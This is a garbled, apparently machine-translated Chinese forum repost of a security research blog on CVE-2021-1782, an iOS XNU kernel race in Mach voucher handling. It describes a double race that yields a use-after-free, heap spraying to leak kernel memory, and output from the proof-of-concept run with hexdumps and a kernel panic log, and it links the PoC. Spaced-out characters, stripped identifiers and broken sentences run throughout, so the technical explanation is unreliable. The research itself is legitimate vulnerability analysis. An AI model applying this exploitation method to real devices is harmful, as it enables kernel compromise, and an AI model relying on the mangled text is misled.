在 [ 1 ] 中 ， 中 ， 我 们 检 索 了 与 成 型 凭 单 或 关 联 的 。 然 后 从 该 条 目 中 拉 出   。 在 这 一 点 上 ， 我 们 确 信 无 法 释 放 。 为 了 确 立 我 们 必 须 理 解 的 引 用 语 义 。 这 里 有 两 种 可 能 性 ： 如 果 所 考 虑 的 凭 单 （ 或 ） 没 有 价 值 ， 则 为 N U L L 。 如 果 我 们 将 新 值 存 储 在 当 前 为 空 的 新 凭 证 中 ， 则 可 能 会 发 生 这 种 情 况 。 如 果 所 考 虑 的 凭 证 具 有 价 值 ， 则 它 可 以 来 自 或 成 形 凭 证 。 在 第 一 种 情 况 下 ， 必 须 将 a 传 递 给 内 核 ， 因 此 我 们 获 得 了 保 存 在 v o u c h e r   m a c h 端 口 中 的 i v a c e 参 考 。 例 如 ， 当 我 们 使 用 或 并 指 定 前 一 张 凭 证 时 ， 就 会 发 生 这 种 情 况 。 在 第 二 种 情 况 下 ， 如 果 成 形 凭 单 具 有 价 值 ， 则 意 味 着 我 们 已 经 进 行 了 的 迭 代 。 在 这 种 情 况 下 ， 通 过 （ 或 ） 在 上 一 次 迭 代 中 获 取 了 i v a c e 上 的 引 用 。 在 [ 2 ] 处 处 ， 我 们 将 配 方 应 用 于 管 理 器 以 从 中 获 取 新 值 （ ） 。 由 于 重 复 数 据 删 除 ， 使 用           * /         v a l _ i n d e x   =   i v a c e _ r e f e r e n c e _ b y _ v a l u e ( i v a c ,   n e w _ v a l u e ,   n e w _ f l a g ) ;                 / /   [ 3 ]         i v _ s e t ( v o u c h e r ,   k e y _ i n d e x ,   v a l _ i n d e x ) ;                                                                             / *           *   r e l e a s e   s a v e d   o l d   v a l u e   f r o m   t h e   n e w l y   f o r m i n g   v o u c h e r           *   T h i s   i s   s a v e d   u n t i l   t h e   e n d   t o   a v o i d   c h u r n i n g   t h e           *   r e l e a s e   l o g i c   i n   c a s e s   w h e r e   t h e   s a m e   v a l u e   i s   r e t u r n e d           *   a s   w a s   t h e r e   b e f o r e .           * /         i v a c e _ r e l e a s e ( k e y _ i n d e x ,   s a v e _ v a l _ i n d e x ) ;                                                               / /   [ 4 ]         r e t u r n   K E R N _ S U C C E S S ; } i v a c _ e n t r y _ t p r e v _ v o u c h e r u s e r _ d a t a _ e l e m e n t _ t p r e v i o u s _ v a l s p r e v i o u s _ v a l s . i v a c e _ r e f s p r e v _ v o u c h e r v o u c h e r p r e v i o u s _ v a l s M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E p r e v _ v o u c h e r p r e v _ v o u c h e r v o u c h e r _ t M A C H _ V O U C H E R _ A T T R _ C O P Y M A C H _ V O U C H E R _ A T T R _ R E D E E M i p c _ e x e c u t e _ v o u c h e r _ r e c i p e _ c o m m a n d ( ) i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) i v a c e _ r e f e r e n c e _ b y _ i n d e x ( ) u s e r _ d a t a _ g e t _ v a l u e ( )
它 可 以 创 建 一 个 新 的 或 重 用 现 有 的 一 个 。 使 用 ， a 被 重 用 。 在 这 两 种 情 况 下 ， 在 [ 2 ] 之 后 之 后 我 们 都 增 加 了 。 在 [ 3 ] 中 ， 中 ， 我 们 创 建 或 找 到 链 接 ， 然 后 递 增 和 。 在 [ 4 ] 中 ， 中 ， 我 们 释 放 成 形 凭 证 的 先 前 值 。 这 里 的 语 义 非 常 复 杂 ， 我 们 花 了 一 些 时 间 来 弄 清 楚 如 何 使 用 此 功 能 来 利 用 C V E - 2 0 2 1 - 1 7 8 2 带 来 的 不 同 步 。 确 实 ， 还 有 另 一 种 棘 手 的 比 赛 条 件 ， 允 许 在 调 温 后 的 同 步 车 和 同 步 车 之 间 恢 复 同 步 ， 同 时 使 i v a c 可 以 释 放 。 事 实 上 ， 在 [ 2 ]   ， 我 们 会 碰 到 的 一 个 值 ， 而 无 需 对 链 接 的 引 用 要 做 到 这 一 点 ， 让 我 们 考 虑 在 漏 洞 被 触 发 上 的 情 况 下 与 相 关 的   我 们 有 ： 然 后 ， 我 们 将 尝 试 在 比 赛 中 执 行 以 下 操 作 ： 主 题 1 ： 消 灭 凭 证 通 过 ， 这 将 触 发 对 线 程 2 ： 使 用 和 命 令 创 建 新 的 u s e r _ d a t a 凭 证 ， 使 用 的 内 容 与 （ “   A A A A ” ） 上 的 内 容 相 同 。 M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E u s e r _ d a t a _ e l e m e n t _ t M A C H _ V O U C H E R _ A T T R _ R E D E E M u s e r _ d a t a _ e l e m e n t _ t n e w _ v a l u e [ 0 ] - > e _ m a d e i v a c _ e n t r y _ t i v a c e - > i v a c e _ r e f s i v a c e - > i v a c e _ m a d e i v a c _ e n t r y _ t u s e r _ d a t a _ e l e m e n t _ t i v a c _ e n t r y _ t n e w _ v a l u e [ 0 ] - > e _ m a d e i v a c _ e n t r y _ t   y e t . u s e r _ d a t a _ e l e m e n t _ t   U 0 i v a c _ e n t r y _ t   I V A C 0 v o u c h e r _ t   V 0 U 0 . e _ c o n t e n t   =   " A A A A "   / /   c h o s e n   v a l u e U 0 . e _ m a d e   =   N   / /   u n k n o w n I V A C 0 . i v a c e _ r e f s   =   1 I V A C 0 . i v a c e _ m a d e   =   N + 1   / /   t h a n k s   t o   t h e   v u l n e r a b i l i t y m a c h _ p o r t _ d e s t r o y ( m a c h _ t a s k _ s e l f ( ) ,   V 0 ) i v a c e _ r e l e a s e ( ) I V A C 0 h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E V 0
如 果 一 切 正 常 触 发 ， 我 们 可 能 有 以 下 顺 序 ： 1 .   线 程 2 执 行 [ 1 ] ， 这 时 我 们 还 没 有 对 I V A C 0 进 行 任 何 引 用 ， 因 为 还 没 有 任 何 值 。 2 .   线 程 2 执 行 [ 2 ] ， 因 为 重 复 数 据 删 除 U 0 . e _ m a d e 递 增 为 N   +   1 ， 所 以 我 们 仍 然 没 有 任 何 引 用 3 .   线 程 1 个 执 行 ， 消 耗 在 其 上 的 最 后 的 引 用 ， 以 便 被 调 用 ， 并 且 匹 配 因 此 释 放 。 4 .   线 程 2 执 行 [ 3 ] 创 建 一 个 新 对 象 ， 释 放 后 将 被 使 用 。 5 .   线 程 2 返 回 ， 为 用 户 区 提 供 了 引 用 释 放 的 新 内 容 因 此 ， 我 们 获 得 了 U a F ！ 值 得 指 出 的 是 ， 第 二 场 比 赛 是 完 全 合 法 的 ， 而 不 是 错 误 。 当 先 前 的 不 同 步 （ 由 漏 洞 引 起 ） 不 可 行 时 ， 我 们 认 为 没 有 真 正 的 问 题 。 在 通 常 情 况 下 ， 可 以 正 确 处 理 此 竞 争 的 代 码 会 出 现 在 （ 摘 录 中 已 注 释 掉 ） 。 至 多 ， 我 们 认 为 某 些 内 容 可 能 永 远 不 会 被 释 放 ， 但 这 是 供 读 者 了 解 的 。 开 发 ！ 开 发 ！ 为 了 说 明 我 们 的 （ 复 杂 的 ） 解 释 ， 我 们 在 h t t p s : / / g i t h u b . c o m / s y n a c k t i v / C V E - 2 0 2 1 - 1 7 8 2 提 供 了 一 个 i O S   1 3 的 P O C ， 该 P O C 泄 漏 了 内 核 数 据 。 这 个 想 法 是 喷 雾 控 制 覆 盖 被 释 放 的 。 通 过 控 制 字 段 ， 我 们 可 以 使 用 来 回 读 和 读 取 数 据 。 （ 感 谢 B r a n d o n   A z a d （ @ _ b a z a d ） 提 供 了 有 用 的 i o s u r f a c e . c ！ ） 。 I V A C 0 . i v a c e _ r e l e a s e ( ) u s e r _ d a t a _ r e l e a s e _ v a l u e I V A C 0 . i v a c e _ m a d e U 0 . e _ m a d e U 0 i v a c _ e n t r y _ t n e w _ v a l u e v o u c h e r _ t u s e r _ d a t a _ e l e m e n t _ t . i v a c e _ r e l e a s e ( ) u s e r _ d a t a _ e l e m e n t _ t O S D a t a u s e r _ d a t a _ e l e m e n t _ t . e _ s i z e m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e ( ) - b a s h - 3 . 2 #   . / v o u c h e r _ l e a k   1 0 0 0 0 [ + ]   l e g i t   r e c i p e _ s i z e : 1 0 2 4 [ + ]   a t t e m p t   n u m b e r : 0 [ + ]   U a F   a f t e r   1   a t t e m p t s [ + ]   r e c i p e _ s i z e   w a s   c o r r u p t e d : 0 x 1 3 f f   i n s t e a d   o f   0 x 4 0 0 ! 0 7   0 0   0 0   0 0   D 3   0 0   0 0   0 0     0 0   0 0   0 0   0 0   E F   1 3   0 0   0 0     |     . . . . . . . . . . . . . . . .   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   / /   [ . . . ] 4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   0 0     |     A A A A A A A A A A A A A A A .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   5 7   0 5   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . W . . . . . .   4 E   C C   0 0   0 0   0 0   0 0   0 0   0 0     0 0   5 7   0 5   0 0   0 0   0 0   0 0   0 0     |     N . . . . . . . . W . . . . . .  
0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 2   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     5 F   5 F   7 5   6 E   7 7   6 9   6 E   6 4     |     . . . . . . . . _ _ u n w i n d   0 0   0 0   0 0   0 0   F F   0 0   0 0   0 0     8 0   4 7   C 1   8 2   0 2   0 0   0 0   0 0     |     . . . . . . . . . G . . . . . .   E F   B E   A D   D E   0 0   0 0   0 0   0 0     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   9 2   E E   B 7   D 7   C 9   E E   F F   C 0     0 0   4 A   1 7   0 2   E 0   F F   F F   F F     |     . . . . . . . . . J . . . . . .   0 0   B C   1 E   0 2   E 0   F F   F F   F F     0 0   1 6   0 1   0 3   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   0 0   2 A   0 1   0 3   E 0   F F   F F   F F     0 0   3 8   0 1   0 3   E 0   F F   F F   F F     |     . * . . . . . . . 8 . . . . . .   0 0   1 0   0 1   0 3   E 0   F F   F F   F F     0 0   3 4   0 1   0 3   E 0   F F   F F   F F     |     . . . . . . . . . 4 . . . . . .   0 0   3 E   0 1   0 3   E 0   F F   F F   F F     0 0   3 C   0 1   0 3   E 0   F F   F F   F F     |     . > . . . . . . . < . . . . . .   0 0   3 A   0 1   0 3   E 0   F F   F F   F F     0 0   A 6   1 3   0 3   E 0   F F   F F   F F     |     . : . . . . . . . . . . . . . .   0 0   7 8   0 6   0 2   E 0   F F   F F   F F     0 0   8 0   0 D   0 2   E 0   F F   F F   F F     |     . x . . . . . . . . . . . . . .   0 0   A C   0 D   0 2   E 0   F F   F F   F F     0 0   B A   1 3   0 3   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   / /   [ . . . ] E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     2 F   7 0   7 2   6 5   6 6   6 5   7 2   6 5     |     . . . . . . . . / p r e f e r e   6 E   6 3   6 5   7 3   2 F   6 3   6 F   6 D     2 E   6 1   7 0   7 0   6 C   6 5   2 E   6 E     |     n c e s / c o m . a p p l e . n   6 5   7 4   7 7   6 F   7 2   6 B   6 5   7 8     7 4   6 5   6 E   7 3   6 9   6 F   6 E   2 E     |     e t w o r k e x t e n s i o n .   7 5   7 5   6 9   6 4   6 3   6 1   6 3   6 8     6 5   2 E   7 0   6 C   6 9   7 3   7 4   0 0     |     u u i d c a c h e . p l i s t .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     9 2   E E   B 7   D 7   C 9   E E   F F   C 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   8 0   0 4   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   1 1   0 0   0 0   0 0   0 0   0 0   0 0   0 0     2 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . % . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 3   2 D   0 0   0 0     |     . . . . . . . . . . . . . - . .   0 0   0 0   0 6   0 0   0 0   0 0   0 0   0 0     0 0   1 9   1 6   0 1   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   F 0   2 D   3 0   0 4   E 0   F F   F F   F F     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . - 0 . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   3 0   E 0   8 0   3 2   0 1   0 0   0 0   0 0     3 4   0 0   0 0   0 0   0 1   0 0   0 0   0 0     |     0 . . 2 . . . . 4 . . . . . . .   0 1   0 0   0 0   0 0   0 1   0 0   0 0   0 0     0 0   0 0   0 0   8 0   0 1   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     1 1   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   2 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0     F 6   0 0   0 4   0 0   0 0   0 0   0 0   0 0     |     % . . . . . . . . . . . . . . .  
在 i O S   1 4 （ < 1 4 . 4 ） 上 ， 由 于 缓 解 了 分 配 器 ， 因 此 喷 涂 技 术 将 不 起 作 用 。 但 是 ， 我 们 仍 然 可 以 使 用 o o l s 端 口 进 行 喷 涂 。 但 是 ， 这 不 会 造 成 泄 漏 ， 因 为 该 成 员 与 半 个 指 针 碰 撞 。 这 使 得 大 小 太 大 而 无 法 检 索 。 这 是 因 为 最 大 5 1 2 0 字 节 （ 请 参 阅 和 ） 。 您 可 以 尝 试 通 过 在 内 核 崩 溃 时 编 译 P o C 来 演 示 i O S   1 4 （ 或 更 早 版 本 ） 上 的 漏 洞 。 这 是 通 过 和 赎 回 命 令 来 增 加 一 个 指 针 （ 而 不 是 ） 来 完 成 的 。 正 如 预 期 的 那 样 ， 由 于 指 针 对 齐 已 中 断 ， 因 此 在 处 理 m a c h 消 息 时 会 遇 到 以 下 恐 慌 ： 结 论 结 论 至 此 ， 我 们 对 C V E - 2 0 2 1 - 1 7 8 2 补 丁 的 分 析 结 束 了 。 这 次 旅 行 使 我 们 深 入 研 究 了 马 赫 凭 证 的 内 部 结 构 。 利 用 了 解 和 触 发 另 一 个 （ 合 法 ） 竞 争 条 件 所 需 的 漏 洞 。 我 们 认 为 应 该 有 可 能 根 据 C V E - 2 0 2 1 - 1 7 8 2 （ 事 实 上 ， 有 些 演 员 确 实 这 样 做 了 ） 来 构 成 一 次 全 面 的 越 狱 。 此 外 ， 事 实 证 明 该 漏 洞 确 实 稳 定 并 且 可 以 快 速 触 发 。 因 此 ， 随 时 进 行 尝 试 。 我 们 希 望 对 马 赫 凭 证 有 所 启 发 ， 即 使 困 难 重 重 ， 仍 然 有 很 多 内 容 需 要 解 决 ， 在 某 些 方 面 我 们 可 能 是 错 误 的 。 如 果 您 发 现 我 们 的 帖 子 中 有 任 何 错 误 或 发 现 利 用 此 漏 洞 的 其 他 方 法 ， 我 们 将 很 高 兴 收 到 您 的 来 信 ， 请 随 时 与 我 们 联 系 。 我 要 感 谢 我 的 同 事 E l o i   B e n o i s t - V a n d e r b e k e n ， F a b i e n   P e r i g a u d 和 E t i e n n e   H e l l u y - L a f o n t 在 撰 写 本 博 客 中 所 提 供 的 帮 助 。 P O C 0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   2 3   2 7   0 0   0 0     0 0   0 0   0 1   0 0   0 0   0 0   0 0   0 0     |     . . . . # ' . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     F 0   8 F   1 4   0 0   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     9 0   3 8   7 1   0 2   0 1   0 0   0 0   0 0     |     . . . . . . . . . 8 q . . . . .   / /   [ . . . ] . e _ s i z e i p c _ p o r t _ t m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e _ t r a p ( ) u s e r _ d a t a _ e x t r a c t _ c o n t e n t ( ) - D W I T H _ O O L i p c _ p o r t _ t . e _ m a d e h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) - b a s h - 3 . 2 #   . / v o u c h e r _ l e a k   1 0 0 0 0 [ + ]   l e g i t   r e c i p e _ s i z e : 1 0 2 4 [ + ]   a t t e m p t   n u m b e r : 0 [ + ]   a t t e m p t   n u m b e r : 1 0 0 0 [ + ]   U a F   d e t e c t e d   w i t h   K E R N _ N O _ S P A C E ! [ + ]   o u t   o o l   p o r t s   p r o b a b l y   g o t   o u r   a l l o c [ + ]   l e t ' s   t r y   t o   p a n i c . . . [ + ]   3 [ + ]   2 [ + ]   1 C o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   c l o s e d   b y   r e m o t e   h o s t . C o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   c l o s e d . p a n i c ( c p u   1   c a l l e r   0 x X X X X X X X X X X X X X X X X ) :   U n a l i g n e d   k e r n e l   d a t a   a b o r t .   a t   p c   0 x X X X X X X X X X X X X X X X X ,   l r   0 x X X X X X X X X X X X X X X X X   ( s a v e d   s t a t e :   0 x X X X X X X X X X X X X X X X X ) / *   T h i s   i s   a   P o C   f o r   C V E - 2 0 2 1 - 1 7 8 2 ,   a   X N U   k e r n e l   v u l n e r a b i l i t y   f o r   i O S   < =   1 4 . 3 . T h e   b u g   i s   a   l a c k   o f   l o c k s   i n   u s e r _ d a t a _ g e t _ v a l u e ( )   o n   t h e   u s e r _ d a t a   v o u c h e r   a t t r i b u t e   m a n a g e r . W i t h   a   d o u b l e   r a c e   w e   c a n   m a n a g e   t o   g e t   a n   u s e r _ d a t a _ e l e m e n t _ t   u s e d   a f t e r   f r e e . F o r   m o r e   d e t a i l s   s e e   S y n a c k t i v ' s   b l o g   p o s t   o n :   h t t p s : / / w w w . s y n a c k t i v . c o m / p u b l i c a t i o n s / a n a l y s i s - a n d - e x p l o i t a t i o n - o f - t h e - i o s - k e r n e l - v u l n e r a b i l t y - c v e - 2 0 2 1 - 1 7 8 2 .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理